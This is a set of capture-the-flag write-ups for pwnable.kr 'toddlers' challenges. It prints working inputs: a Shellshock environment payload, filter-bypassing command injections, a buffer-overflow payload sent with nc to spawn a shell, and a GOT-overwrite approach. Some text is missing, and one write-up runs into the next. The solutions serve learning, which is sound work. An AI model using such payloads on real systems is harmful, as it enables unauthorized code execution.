├── toddlers ├── unlink.md ├── shellshock.md ├── fd.md ├── lotto.md ├── random.md ├── cmd1.md ├── blackjack.md ├── cmd2.md ├── mistake.md ├── collision.md ├── codemap.md ├── bof.md ├── flag.md ├── leg.md ├── coin1.md ├── passcode.md ├── input.md ├── uaf.md ├── memcpy.md └── asm.md └── README.md /toddlers/unlink.md: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /toddlers/shellshock.md: -------------------------------------------------------------------------------- 1 | # Shellshock 2 | 3 | After googling about shellshock, we discover it's a vulnerability discovered in `bash` in 2014 allowing code execution. 4 | 5 | Wikipedia quotes the initial report: 6 | 7 | `$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"` 8 | 9 | We can test whether this works on our custom `bash` executable: 10 | 11 | ```bash 12 | $ env x='() { :;}; echo vulnerable' ./bash 13 | vulnerable 14 | ``` 15 | 16 | And then use it to get the flag: 17 | 18 | `$ env x='() { :;}; /bin/cat ~/flag' ~/shellshock` 19 | -------------------------------------------------------------------------------- /toddlers/fd.md: -------------------------------------------------------------------------------- 1 | # Fd 2 | 3 | Let's take a look at the supplied code: 4 | 5 | ```c 6 | int fd = atoi( argv[1] ) - 0x1234; 7 | int len = 0; 8 | len = read(fd, buf, 32); 9 | if(!strcmp("LETMEWIN\n", buf)){ 10 | printf("good job :)\n"); 11 | system("/bin/cat flag"); 12 | exit(0); 13 | } 14 | ``` 15 | 16 | It reads from some file descriptor we control and compares the value to `LETMEWIN`. 17 | 18 | Well, the file descriptor `0` refers to `stdin`, then we just have to provide `0`+`0x1234` to be able to input LETMEWIN. 19 | 20 | ```bash 21 | $ python -c "print(0x1234)" 22 | 4660 23 | $ ./fd 4660 24 | LETMEWIN 25 | ``` 26 | -------------------------------------------------------------------------------- /toddlers/lotto.md: -------------------------------------------------------------------------------- 1 | # Lotto 2 | 3 | In a real lottery, you choose distinct numbers. 4 | 5 | If you look at these lines of the supplied code: 6 | 7 | ```c 8 | int match = 0, j = 0; 9 | for(i=0; i<6; i++){ 10 | for(j=0; j<6; j++){ 11 | if(lotto[i] == submit[j]){ 12 | match++; 13 | } 14 | } 15 | } 16 | ``` 17 | 18 | There's no check for duplicates, which means we can supply the same number as many times as we want and eventually one of the random bytes is gonna match all 6 numbers. 19 | 20 | We can then come up with a smart answer: 21 | 22 | `$ (for i in $(seq 50); do echo 1; sleep 1; printf "\x01\x01\x01\x01\x01\x01"; sleep 1; done; echo 3) | ./lotto` 23 | 24 | And hit Ctrl-C as soon as we get the flag. 25 | -------------------------------------------------------------------------------- /toddlers/random.md: -------------------------------------------------------------------------------- 1 | # Random 2 | 3 | ```c 4 | #include 5 | 6 | int main(){ 7 | unsigned int random; 8 | random = rand(); // random value! 9 | 10 | unsigned int key=0; 11 | scanf("%d", &key); 12 | 13 | if((key ^ random) == 0xdeadbeef){ 14 | printf("Good!\n"); 15 | system("/bin/cat flag"); 16 | return 0; 17 | } 18 | 19 | printf("Wrong, maybe you should try 2^32 cases.\n"); 20 | return 0; 21 | } 22 | ``` 23 | 24 | Our random value was not seeded with `srand`, therefore it's not going to be random. 25 | Let's write a check program into /tmp/rand: 26 | 27 | ```c 28 | #include 29 | #include 30 | 31 | void main() { 32 | printf("%d\n", rand()); 33 | } 34 | ``` 35 | 36 | Output: `1804289383` 37 | 38 | We can confirm it doesn't change if we run multiple times. 39 | 40 | Let's XOR it with `0xdeadbeef`: 41 | 42 | ```c 43 | #include 44 | #include 45 | 46 | void main() { 47 | printf("%d\n", rand() ^ 0xdeadbeef); 48 | } 49 | ``` 50 | 51 | Output: `-1255736440` 52 | 53 | We can now input this number into the program and get the flag. 54 | -------------------------------------------------------------------------------- /toddlers/cmd1.md: -------------------------------------------------------------------------------- 1 | # Cmd1 2 | 3 | Let's take a look at the code: 4 | 5 | ```c 6 | int filter(char* cmd){ 7 | int r=0; 8 | r += strstr(cmd, "flag")!=0; 9 | r += strstr(cmd, "sh")!=0; 10 | r += strstr(cmd, "tmp")!=0; 11 | return r; 12 | } 13 | 14 | int main(int argc, char* argv[], char** envp){ 15 | putenv("PATH=/fuckyouverymuch"); 16 | if(filter(argv[1])) return 0; 17 | system(argv[1]); 18 | return 0; 19 | } 20 | ``` 21 | 22 | We have access to `system()` and wish to read the flag, but our command can't include the words "flag", "tmp" or "sh". Besides that we can't run anything without providing the full path, once our PATH is messed up. 23 | 24 | The good thing is: we can issue multiple commands separated by `;`. Perhaps we can bypass the filter using bash variables, commands or substitutions. 25 | 26 | The PWD variable holds the current working directory. We can go to /tmp and use it to change our PATH and get the flag: 27 | 28 | ```bash 29 | $ mkdir /tmp/cmd 30 | $ cd /tmp/cmd 31 | $ echo "/bin/cat ~/flag" > prog 32 | $ chmod +x prog 33 | $ ~/cmd1 "PATH=\$PWD:\$PATH; prog" 34 | ``` 35 | 36 | This level has many other solutions, some of which are way simpler. Feel free to experiment different things. 37 | -------------------------------------------------------------------------------- /toddlers/blackjack.md: -------------------------------------------------------------------------------- 1 | # Blackjack 2 | 3 | From inspecting the original program, we can see that there are some mistakes, as one user of the forum pointed out: 4 | 5 | > You're initially dealt 2 cards, before you hit or stay, not one. If you go over 21, and the dealer goes over 21, you do not win. Only the player with the highest hand, but still under 21, can win when the dealer goes bust. 6 | 7 | But `pwnable` says they only give flags to millionaires. Thus unless these mistakes are very easily exploitable this is gonna take some time. 8 | 9 | Let's read the `betting` function: 10 | 11 | ```c 12 | if (bet > cash) //If player tries to bet more money than player has 13 | { 14 | printf("\nYou cannot bet more money than you have."); 15 | printf("\nEnter Bet: "); 16 | scanf("%d", &bet); 17 | return bet; 18 | } 19 | ``` 20 | 21 | If we bet more than we have the program prompts for a second amount and then happily accepts our input without re-checking. 22 | 23 | We just have to win once! 24 | 25 | Better yet, if we go to the beginning of the program: 26 | 27 | ```c 28 | int k; 29 | int l; 30 | int d; 31 | int won; 32 | int loss; 33 | int cash = 500; 34 | int bet; 35 | int random_card; 36 | int player_total=0; 37 | int dealer_total; 38 | ``` 39 | 40 | Everything is an `int` and the `betting` function doesn't check for positive numbers, which means we can just bet a negative number and lose. If we just hit S all the time, we are guaranteed to lose. 41 | -------------------------------------------------------------------------------- /toddlers/cmd2.md: -------------------------------------------------------------------------------- 1 | # Cmd2 2 | 3 | Cmd1 was too easy. Let's see what are pwnable's plans for us now: 4 | 5 | ```c 6 | int filter(char* cmd){ 7 | int r=0; 8 | r += strstr(cmd, "=")!=0; 9 | r += strstr(cmd, "PATH")!=0; 10 | r += strstr(cmd, "export")!=0; 11 | r += strstr(cmd, "/")!=0; 12 | r += strstr(cmd, "`")!=0; 13 | r += strstr(cmd, "flag")!=0; 14 | return r; 15 | } 16 | 17 | extern char** environ; 18 | void delete_env(){ 19 | char** p; 20 | for(p=environ; *p; p++) memset(*p, 0, strlen(*p)); 21 | } 22 | 23 | int main(int argc, char* argv[], char** envp){ 24 | delete_env(); 25 | putenv("PATH=/no_command_execution_until_you_become_a_hacker"); 26 | if(filter(argv[1])) return 0; 27 | printf("%s\n", argv[1]); 28 | system( argv[1] ); 29 | return 0; 30 | } 31 | ``` 32 | 33 | Things have changed. We can't use PATH, equal signs, exports, slashes... 34 | We can still get our flag, though. We just have to resort to other means, like using wildcards to get `flag` and `${VAR%???}` substitutions to get a slash. 35 | 36 | `${VAR%????}` returns `$VAR` stripped of the last 4 characters. Let's test it: 37 | 38 | ```bash 39 | $ ./cmd2 "echo \$PWD" 40 | /home/cmd2 41 | $ ./cmd2 "echo \${PWD:???}" 42 | /home/c 43 | $ ./cmd2 "\${PWD%?????????}bin\${PWD%?????????}cat fl*" 44 | ``` 45 | 46 | Another fancy, easier solution would be to use the `read` command: 47 | 48 | ```bash 49 | $ ./cmd2 "read cmd; \$cmd" 50 | /bin/cat flag 51 | ``` 52 | 53 | Like `cmd1`, there are many other solutions. Those are left to the reader as an exercise. :) 54 | -------------------------------------------------------------------------------- /toddlers/mistake.md: -------------------------------------------------------------------------------- 1 | # Mistake 2 | 3 | A very common mistake among novice programmers is misuse of operator precedence. 4 | 5 | If we take a look at the supplied code: 6 | 7 | ```c 8 | int fd; 9 | if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){ 10 | printf("can't open password %d\n", fd); 11 | return 0; 12 | } 13 | 14 | printf("do not bruteforce...\n"); 15 | sleep(time(0)%20); 16 | 17 | char pw_buf[PW_LEN+1]; 18 | int len; 19 | if(!(len=read(fd,pw_buf,PW_LEN) > 0)){ 20 | printf("read error\n"); 21 | close(fd); 22 | return 0; 23 | } 24 | 25 | char pw_buf2[PW_LEN+1]; 26 | printf("input password : "); 27 | scanf("%10s", pw_buf2); 28 | ``` 29 | 30 | It opens the password file, waits some amount of time < 20s, reads the file descriptor stored in `fd` and asks for the password. We can't read the password file. 31 | 32 | Let's take a closer look at line `if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0)`. We realize that, once < has precedence over =, fd is going to be 1, `(int)true`, or 0, `(int)false`, depending on the result of the call to open. 33 | 34 | Open returns the file descriptor associated with the file, which is a always a positive number. Therefore fd is going to be zero, `stdin`, and the call to read later on is going to read from `stdin` instead of the password file. 35 | 36 | ```c 37 | // xor your input 38 | xor(pw_buf2, 10); 39 | 40 | if(!strncmp(pw_buf, pw_buf2, PW_LEN)){ 41 | printf("Password OK\n"); 42 | system("/bin/cat flag\n"); 43 | }else{ 44 | printf("Wrong Password\n"); 45 | } 46 | ``` 47 | 48 | Then we need to know what happens when we XOR our user-provided password string with 1. 49 | Let's use `MYPASSWORD` and write a test program to see what happens. 50 | 51 | ```c 52 | #include 53 | #define XORKEY 1 54 | 55 | void xor(char* s, int len){ 56 | int i; 57 | for(i=0; i I will make 1000 heap chunks with random size 8 | > each heap chunk has a random string 9 | > press enter to start the memory allocation 10 | > 11 | > the allocated memory size of biggest chunk is 99879 byte 12 | > the string inside that chunk is X12nM7yCJcu0x5u 13 | > log in to pwnable.kr and anwer some question to get flag. 14 | 15 | When we connect to the daemon with `nc pwnable.kr 9021`, we get two questions: 16 | 17 | 1. What's inside the 2nd biggest chunk in the heap? 18 | 2. What's inside the 3rd biggest chunk in the heap? 19 | 20 | But what does `codemap` mean? A quick google search brings up two possibilities: 21 | 22 | - A VisualStudio feature for debugging 23 | - An IDA plugin to facilitate analysis of complex binaries 24 | 25 | Out of these two, only the latter is made, among others, by `daehee`, pwnable's owner! *I see what you did there.* 26 | 27 | Let's read about it at [codemap.kr](http://codemap.kr/): 28 | 29 | > Codemap is a binary analysis tool for "run-trace visualization" provided as IDA plugin. 30 | > Codemap uses 'breakpoints' for tracing the program. If the program hits a breakpoint, Codemap breakpoint handler is invoked as a callback function, then proper action for trace is taken and program continues. 31 | 32 | Alright. Then we have to install `IDA` and `codemap`: 33 | 34 | ```bash 35 | $ git clone https://github.com/c0demap/codemap 36 | $ cd codemap; python install.py 37 | Codemap install complete! run IDA Pro now. 38 | ``` 39 | 40 | Now let's open our binary in IDA. 41 | 42 | As instructed, we set a breakpoint at `0x00403E65` with F2. Then we hit F4 to run it. 43 | 44 | ![ida-breakpoint](https://cloud.githubusercontent.com/assets/6147168/21038204/e7666852-bdba-11e6-8888-e4e990cbef6d.PNG) 45 | 46 | We come back to IDA and use Alt+1 to start `codemap`. 47 | 48 | A graph appears on the top of the page and we see information about the registers right below. 49 | 50 | Let's put together a simple test query: 51 | 52 | ```sql 53 | select eax from traceX order by eax desc 54 | ``` 55 | 56 | Where *traceX* is the default table `codemap` has already filled in the query textbox. 57 | 58 | We get this: 59 | 60 | ![ida-eax](https://cloud.githubusercontent.com/assets/6147168/21038203/e765c5d2-bdba-11e6-80ff-787851fd6eb9.PNG) 61 | 62 | We can see there are all kinds of values for eax within a range from `0x1b` (27) to `0x18627` (99879). 63 | 64 | But wait... `ebx` looks like the allocated strings and the maximum `eax` matches the biggest chunk size! 65 | 66 | We can now probably figure out the strings inside the 2nd and 3rd biggest chunks sending the right query: 67 | 68 | ```sql 69 | select ebx from traceX order by eax desc limit 3 70 | ``` 71 | 72 | ![ida-answer](https://cloud.githubusercontent.com/assets/6147168/21038202/e763d222-bdba-11e6-960c-d23066a73723.PNG) 73 | 74 | Then we hover on top of the second and third points to see their `ebx` values: 75 | 76 | `roKBkoIZGMUKrMb` and `2ckbnDUabcsMA2s`. 77 | 78 | -------------------------------------------------------------------------------- /toddlers/bof.md: -------------------------------------------------------------------------------- 1 | # Bof 2 | 3 | ```c 4 | #include 5 | #include 6 | #include 7 | void func(int key){ 8 | char overflowme[32]; 9 | printf("overflow me : "); 10 | gets(overflowme); // smash me! 11 | if(key == 0xcafebabe){ 12 | system("/bin/sh"); 13 | }else{ 14 | printf("Nah..\n"); 15 | } 16 | } 17 | 18 | int main(int argc, char* argv[]){ 19 | func(0xdeadbeef); 20 | return 0; 21 | } 22 | ``` 23 | 24 | This is a very simple buffer overflow. 25 | 26 | We have to figure out the address of our buffer and the address of the value we wish to change, then take the difference to figure out how many bytes of offset we need to input before the main payload, `\xbe\xba\xfe\xca`. 27 | 28 | ```bash 29 | $ gdb bof 30 | >>> disas main 31 | Dump of assembler code for function main: 32 | 0x5655568a <+0>: push ebp 33 | 0x5655568b <+1>: mov ebp,esp 34 | 0x5655568d <+3>: and esp,0xfffffff0 35 | 0x56555690 <+6>: sub esp,0x10 36 | 0x56555693 <+9>: mov DWORD PTR [esp],0xdeadbeef 37 | 0x5655569a <+16>: call 0x5655562c 38 | 0x5655569f <+21>: mov eax,0x0 39 | 0x565556a4 <+26>: leave 40 | 0x565556a5 <+27>: ret 41 | End of assembler dump. 42 | >>> b *0x5655569a 43 | Breakpoint 1 at 0x5655569a 44 | >>> r 45 | Breakpoint 1, 0x5655569a in main () 46 | >>> p $esp 47 | $1 = (void *) 0xffffcd10 48 | >>> disas func 49 | Dump of assembler code for function func: 50 | 0x5655562c <+0>: push ebp 51 | 0x5655562d <+1>: mov ebp,esp 52 | 0x5655562f <+3>: sub esp,0x48 53 | 0x56555632 <+6>: mov eax,gs:0x14 54 | 0x56555638 <+12>: mov DWORD PTR [ebp-0xc],eax 55 | 0x5655563b <+15>: xor eax,eax 56 | 0x5655563d <+17>: mov DWORD PTR [esp],0x5655578c 57 | 0x56555644 <+24>: call 0xf7e2e5d0 58 | 0x56555649 <+29>: lea eax,[ebp-0x2c] 59 | 0x5655564c <+32>: mov DWORD PTR [esp],eax 60 | 0x5655564f <+35>: call 0xf7e2dcf0 61 | 0x56555654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe 62 | 0x5655565b <+47>: jne 0x5655566b 63 | 0x5655565d <+49>: mov DWORD PTR [esp],0x5655579b 64 | 0x56555664 <+56>: call 0xf7e08f40 65 | 0x56555669 <+61>: jmp 0x56555677 66 | 0x5655566b <+63>: mov DWORD PTR [esp],0x565557a3 67 | 0x56555672 <+70>: call 0xf7e2e5d0 68 | 0x56555677 <+75>: mov eax,DWORD PTR [ebp-0xc] 69 | 0x5655567a <+78>: xor eax,DWORD PTR gs:0x14 70 | 0x56555681 <+85>: je 0x56555688 71 | 0x56555683 <+87>: call 0xf7ec7ac0 <__stack_chk_fail> 72 | 0x56555688 <+92>: leave 73 | 0x56555689 <+93>: ret 74 | End of assembler dump. 75 | >>> b *0x5655564f 76 | Breakpoint 2 at 0x5655564f 77 | >>> c 78 | Breakpoint 2, 0x5655564f in func () 79 | >>> p/x $eax 80 | $2 = 0xffffccdc 81 | ``` 82 | 83 | These addresses, `0xffffcd10` and `0xffffccdc`, are 52 bytes apart. Let's test it: 84 | 85 | `$ python -c "print('.'*52+'\xbe\xba\xfe\xca')" | nc pwnable.kr 9000` 86 | 87 | We did not get a `Nah..` message, which means it probably worked, but our pipe closed `stdin` before we could input anything to the shell. Let's keep it open and get our flag: 88 | 89 | ```bash 90 | $ (python -c "print('.'*52+'\xbe\xba\xfe\xca')"; cat -) | nc pwnable.kr 9000 91 | /bin/cat flag 92 | ``` 93 | -------------------------------------------------------------------------------- /toddlers/flag.md: -------------------------------------------------------------------------------- 1 | # Flag 2 | 3 | > Papa brought me a packed present! let's open it. 4 | 5 | This implies the binary is packed. Let's take a look. 6 | 7 | ```bash 8 | $ gdb flag 9 | >>> b main 10 | No symble table is loaded. Use the "file" command. 11 | ``` 12 | 13 | We don't have any simbols, which makes reversing quite hard (although possible). 14 | Let's take a look at the entry point address. 15 | 16 | ```bash 17 | $ readelf -h flag | grep Entry 18 | Entry point address: 0x44a4f0 19 | $ gdb flag 20 | >>> b *0x44a4f0 21 | >>> r 22 | Breakpoint 1, 0x000000000044a4f0 in ?? () 23 | >>> x/i $rip 24 | => 0x44a4f0: call 0x44a770 25 | ``` 26 | 27 | There's a call to `0x44a770`. If we step into the call with `si` and keep hitting `ni` to go to the next instructions we can see only 8 instructions get executed directly after the call and we can't seem to find anything interesting inspecting the registers with `x` in the process. 28 | 29 | Time for a different approach. Let's try and figure out how it's packed. 30 | 31 | `$ strings flag > out` 32 | 33 | Now let's open `out`. We are looking for metadata about the packer. 34 | 35 | If we scroll down for some time or just search for `pack` we find this line: 36 | 37 | > $Info: This file is packed with the UPX executable packer http://upx.sf.net $ 38 | 39 | Let's open UPX's page. 40 | 41 | > UPX achieves an excellent compression ratio and offers **very fast decompression**. Your executables suffer no memory overhead or other drawbacks for most of the formats supported, because of in-place decompression. 42 | 43 | Which means we can use it to unpack our binary. Let's install UPX and read the help page. 44 | 45 | ```bash 46 | $ upx --help 47 | 48 | Ultimate Packer for eXecutables 49 | Copyright (C) 1996 - 2013 50 | UPX 3.91 Markus Oberhumer, Laszlo Molnar & John Reiser Sep 30th 2013 51 | 52 | Usage: upx [-123456789dlthVL] [-qvfk] [-o file] file.. 53 | 54 | Commands: 55 | -1 compress faster -9 compress better 56 | --best compress best (can be slow for big files) 57 | -d decompress -l list compressed file 58 | -t test compressed file -V display version number 59 | -h give this help -L display software license 60 | ... 61 | ``` 62 | 63 | Now we can unpack it and try again: 64 | 65 | ```bash 66 | $ upx -d flag 67 | $ gdb flag 68 | >>> disas main 69 | Dump of assembler code for function main: 70 | 0x0000000000401164 <+0>: push rbp 71 | 0x0000000000401165 <+1>: mov rbp,rsp 72 | 0x0000000000401168 <+4>: sub rsp,0x10 73 | 0x000000000040116c <+8>: mov edi,0x496658 74 | 0x0000000000401171 <+13>: call 0x402080 75 | 0x0000000000401176 <+18>: mov edi,0x64 76 | 0x000000000040117b <+23>: call 0x4099d0 77 | 0x0000000000401180 <+28>: mov QWORD PTR [rbp-0x8],rax 78 | 0x0000000000401184 <+32>: mov rdx,QWORD PTR [rip+0x2c0ee5] # 0x6c2070 79 | 0x000000000040118b <+39>: mov rax,QWORD PTR [rbp-0x8] 80 | 0x000000000040118f <+43>: mov rsi,rdx 81 | 0x0000000000401192 <+46>: mov rdi,rax 82 | 0x0000000000401195 <+49>: call 0x400320 83 | 0x000000000040119a <+54>: mov eax,0x0 84 | 0x000000000040119f <+59>: leave 85 | 0x00000000004011a0 <+60>: ret 86 | End of assembler dump. 87 | ``` 88 | 89 | There's a flag variable now which gets stored in `rdx` before calling strcpy at `0x00040195`. We can inspect it with x/s and get the flag: 90 | 91 | `>>> x/s flag` 92 | -------------------------------------------------------------------------------- /toddlers/leg.md: -------------------------------------------------------------------------------- 1 | # Leg 2 | 3 | In this challenge we have to learn some ARM to figure out the return values of `key1`, `key2` and `key3`, which summed give the password for the flag. 4 | 5 | First we gotta know what a return value looks like in ARM. 6 | 7 | Let's take a look at the provided disassembly: 8 | 9 | ```asm 10 | [...] 11 | 0x00008d68 <+44>: bl 0x8cd4 12 | 0x00008d6c <+48>: mov r4, r0 13 | 0x00008d70 <+52>: bl 0x8cf0 14 | 0x00008d74 <+56>: mov r3, r0 15 | 0x00008d78 <+60>: add r4, r4, r3 16 | 0x00008d7c <+64>: bl 0x8d20 17 | 0x00008d80 <+68>: mov r3, r0 18 | 0x00008d84 <+72>: add r2, r4, r3 19 | 0x00008d88 <+76>: ldr r3, [r11, #-16] 20 | 0x00008d8c <+80>: cmp r2, r3 21 | 0x00008d90 <+84>: bne 0x8da8 22 | [...] 23 | ``` 24 | 25 | After branching to the key functions, `r0` is always stored in some register, then it must be the return value. After `key1`, the return is stored in `r4`. Then, after `key2`, it's stored in `r3` and `r3` is added to `r4`. Finally, after `key3`, it's again stored in `r3` and now the final result, `r4`+`r3`, is stored in `r2`. 26 | 27 | Then some value is loaded into `r3` (the provided password) and `r2` is compared to `r3`. 28 | 29 | Sounds good, right? 30 | 31 | Now let's take a look at the code for each key: 32 | 33 | ## key1 34 | ```asm 35 | [...] 36 | 0x00008cdc <+8>: mov r3, pc 37 | 0x00008ce0 <+12>: mov r0, r3 38 | [...] 39 | ``` 40 | 41 | The return value is `pc`, the `Program Counter`. What's that? Let's read on [StackOverflow](http://stackoverflow.com/questions/18330902/program-counter-in-arm-assembly): 42 | 43 | > For ARM mode: 44 | > When using R15 as the base register you must remember it contains an address 8 bytes on from the address of the current instruction. 45 | > For Thumb mode: 46 | > The value of the PC will be 4 bytes greater than the address of this instruction, but bit 1 of the PC is forced to 0 to ensure it is word aligned. 47 | 48 | Thus it's the address of the current instruction `+8`, which here is `0x00008ce4` (36068). 49 | 50 | ## key2 51 | ```asm 52 | [...] 53 | 0x00008cfc <+12>: add r6, pc, #1 54 | 0x00008d00 <+16>: bx r6 55 | 0x00008d04 <+20>: mov r3, pc 56 | 0x00008d06 <+22>: adds r3, #4 57 | [...] 58 | 0x00008d10 <+32>: mov r0, r3 59 | [...] 60 | ``` 61 | 62 | Here we need some extra research. First we store `pc + 1` (`0x00008d05`) into `r6`, then we have a `bx r6`. 63 | Let's read about `bx` in the [manual](http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dui0040d/Cabdcdci.html): 64 | 65 | > Syntax 66 | > The syntax of BX is one of: 67 | > 1. Thumb (BX Rn) 68 | > 2. ARM (BX{cond} Rn) 69 | > Where: 70 | > Rn is a register in the range r0 to r15 that contains the address to branch to. The value of bit 0 in this register determines the processor state: 71 | > if bit 0 is set, the instruction at the branch address is executed in Thumb state 72 | > if bit 0 is clear, the instruction at the branch address is executed in ARM state. 73 | 74 | We now know the instruction at the branch address, `0x00008d04`, is going to be executed in Thumb state, which from our previous reading means the `pc` is going to be 4 bytes on from the current instruction. Then it stores our new `pc` (`0x00008d08`) into `r3`, adds 4 to `r3` to get `0x00008d0c` and returns this value (36108). 75 | 76 | ## key3 77 | ```asm 78 | [...] 79 | 0x00008d28 <+8>: mov r3, lr 80 | 0x00008d2c <+12>: mov r0, r3 81 | [...] 82 | ``` 83 | 84 | Here the return value is `lr`, the `Link Register`. It stores the return address of the function, which is `0x00008d80` (36224), from the first disassembly. 85 | 86 | We can now sum 36224+36108+36068 to get our answer: 108400. 87 | -------------------------------------------------------------------------------- /toddlers/coin1.md: -------------------------------------------------------------------------------- 1 | # Coin1 2 | 3 | After some thought, we realize this problem is very easy to solve by hand. 4 | 5 | We send some range of coins, say `0 1 2 3 4 5`, and wait for the result. If it's a round number, that is, a number which equals zero modulus 10, the fake coin isn't in this range. 6 | 7 | We can then choose the obvious approach: let's split the set of possible coins into two sets, send the first half and wait for the result. 8 | 9 | If the fake coin is in this range, split it again and repeat the process. If it isn't in this range, split the other half and repeat the process. 10 | 11 | Eventually we end up with 2 or 3 coins, in which cases we just have to use basic logic to figure out the right one. 12 | 13 | The problem is: we can't do this by hand, because we need 100 fake coins in a short amount of time, otherwise the server will disconnect us, so we gotta write a program. 14 | 15 | This can be done with or without recursion, but considering the nature of the problem (binary search) I decided to take the recursive approach: 16 | 17 | ```python 18 | import socket 19 | import re 20 | 21 | class CoinGame: 22 | @staticmethod 23 | def nums(res): 24 | nums = re.findall(b'\d+', res) 25 | return [int(r) for r in nums] 26 | 27 | def get_recv(self): 28 | while 1: 29 | res = self.s.recv(100) 30 | 31 | if res != b'': 32 | if res.startswith(b'Correct'): 33 | self.count += 1 34 | print('FOUND ' + str(self.count) + '\n') 35 | return None 36 | elif res.startswith(b'Wrong'): 37 | return None 38 | else: 39 | nums = CoinGame.nums(res) 40 | return nums if len(nums) else None 41 | 42 | def split_sub(self, a, b): 43 | lenr = len(range(a, b+1)) 44 | if lenr > 3: 45 | half = int(a+lenr/2 - 1) 46 | if self.guess_range(a, half): 47 | return True 48 | else: 49 | return self.split_sub(half+1, b) 50 | elif lenr == 3: 51 | if self.guess_range(a, a+1): 52 | return True 53 | else: 54 | return self.guess_one(a+2) 55 | elif lenr == 2: 56 | if self.guess_one(a): 57 | return True 58 | else: 59 | return self.guess_one(a+1) 60 | 61 | def guess_one(self, num): 62 | return self.guess_range(num, num) 63 | 64 | def guess_range(self, left, right): 65 | coins = [str(v) for v in range(left, right+1)] 66 | if left != right: 67 | test = ' '.join(coins) + '\n' 68 | else: 69 | test = str(right) + '\n' 70 | 71 | print(str(left) + '-' + str(right) + '\n') 72 | self.s.sendall(str.encode(test)) 73 | 74 | while 1: 75 | ans = self.get_recv() 76 | if ans is not None: 77 | if ans[0] == 9: 78 | print('FOUND BEFORE') 79 | return self.guess_range(left, right) 80 | elif ans[0] % 10 != 0: 81 | print('DEEPER') 82 | return self.split_sub(left, right) 83 | else: 84 | print('ABORT') 85 | return False 86 | else: 87 | return True 88 | 89 | def __enter__(self): 90 | return self 91 | 92 | def __exit__(self, typ, val, tb): 93 | self.s.shutdown(socket.SHUT_WR) 94 | self.s.close() 95 | 96 | def __init__(self): 97 | self.count = 0 98 | 99 | self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 100 | self.s.connect(('localhost', 9007)) # pwnable.kr's server, port 9007 101 | self.s.recv(1102) # skip initial message 102 | 103 | 104 | with CoinGame() as g: 105 | for i in range(100): 106 | cmd = g.get_recv() 107 | if len(cmd) == 2: 108 | g.split_sub(0, cmd[0]-1) 109 | 110 | # flag 111 | print(g.s.recv(1024)) 112 | ``` 113 | 114 | We can now send this to pwnable.kr's tmp folder using `scp` and run it there to get the flag. 115 | -------------------------------------------------------------------------------- /toddlers/passcode.md: -------------------------------------------------------------------------------- 1 | # Passcode 2 | 3 | In the `welcome` function there's a `scanf` for a name, which is padded to 100 bytes: 4 | 5 | ```c 6 | void welcome(){ 7 | char name[100]; 8 | printf("enter you name : "); 9 | scanf("%100s", name); 10 | printf("Welcome %s!\n", name); 11 | } 12 | ``` 13 | 14 | The program then asks for two passwords at `login`: 15 | 16 | ```c 17 | int passcode1; 18 | int passcode2; 19 | 20 | printf("enter passcode1 : "); 21 | scanf("%d", passcode1); 22 | fflush(stdin); 23 | 24 | // ha! mommy told me that 32bit is vulnerable to bruteforcing :) 25 | printf("enter passcode2 : "); 26 | scanf("%d", passcode2); 27 | ``` 28 | 29 | There's a mistake there: scanf expects the address to which it should write the input, not the value. Thus it's going to write to whatever address is in the values of `passcode1` and `passcode2`. 30 | 31 | They are then checked. If `passcode1 == 338150` and `passcode2 == 13371337`, we gain the shell. 32 | 33 | This seems a bit too much in the beginning. 34 | 35 | Let's check where in the stack are `name`, `passcode1` and `passcode2` being written. Perhaps we can fill in the passwords' initial values writing to the `name` buffer. 36 | 37 | ```bash 38 | $ gdb passcode 39 | >>> disas welcome 40 | [...] 41 | 0x0804862f <+38>: lea edx,[ebp-0x70] 42 | 0x08048632 <+41>: mov DWORD PTR [esp+0x4],edx 43 | 0x08048636 <+45>: mov DWORD PTR [esp],eax 44 | 0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt> 45 | [...] 46 | >>> disas login 47 | [...] 48 | 0x0804857c login+24 mov edx,DWORD PTR [ebp-0x10] 49 | 0x0804857f login+27 mov DWORD PTR [esp+0x4],edx 50 | 0x08048583 login+31 mov DWORD PTR [esp],eax 51 | 0x08048586 login+34 call 0x80484a0 <__isoc99_scanf@plt> 52 | [...] 53 | 0x080485aa login+70 mov edx,DWORD PTR [ebp-0xc] 54 | 0x080485ad login+73 mov DWORD PTR [esp+0x4],edx 55 | 0x080485b1 login+77 mov DWORD PTR [esp],eax 56 | 0x080485b4 login+80 call 0x80484a0 <__isoc99_scanf@plt> 57 | >>> b *0x08048639 58 | >>> b *0x08048586 59 | >>> b *0x080485b4 60 | >>> r 61 | Breakpoint 1, 0x08048639 in welcome () 62 | >>> p $ebp-0x70 63 | $1 = (void *) 0xffffcc58 # name 64 | >>> c 65 | enter your name : AAAA 66 | Welcome AAAA! 67 | Breakpoint 2, 0x08048586 in login () 68 | >>> p $ebp-0x10 69 | $2 = (void *) 0xffffccb8 # passcode1 70 | >>> c 71 | enter passcode1 : A 72 | Breakpoint 3, 0x080485b4 in login () 73 | >>> p $ebp-0xc 74 | $3 = (void *) 0xffffccbc # passcode2 75 | ``` 76 | 77 | Once we hit the first breakpoint, just print the address of `$ebp-0x70` (`name`). The same for `passcode1` and `passcode2`, with their respective offsets from `$ebp`. 78 | 79 | If we subtract `name` from `passcode1` (0xffffccb8 - 0xffffcc58), we get 0x60 (96), thus the last 4 bytes of `name` are written to the initial value of passcode1. 80 | 81 | This means we have an *arbitrary write*, because the scanf later on writes to the address in `passcode1`, which we can control. But what now? We need to write *two* passwords, not one. 82 | 83 | If we write the address of `passcode2` into `passcode1`, we only control `passcode2`. What about `passcode1`? 84 | 85 | But if we have an aribtrary write, we can also write to the `Global Offset Table`, redirecting the execution of any libc function in the program. Perhaps we can overwrite the `printf` entry, making it point to `system` instead. Where is it located? 86 | 87 | ```bash 88 | $ objdump -s passcode 89 | [...] 90 | Contents of section .got.plt: 91 | 8049ff4 289f0408 00000000 00000000 26840408 (...........&... 92 | 804a004 36840408 46840408 56840408 66840408 6...F...V...f... 93 | 804a014 76840408 86840408 96840408 a6840408 v............... 94 | $ gdb passcode 95 | >>> x 0x804a000 96 | 0x804a000 : 0x08048426 97 | >>> x 0x804a010 98 | 0x804a010 : 0x08048466 99 | 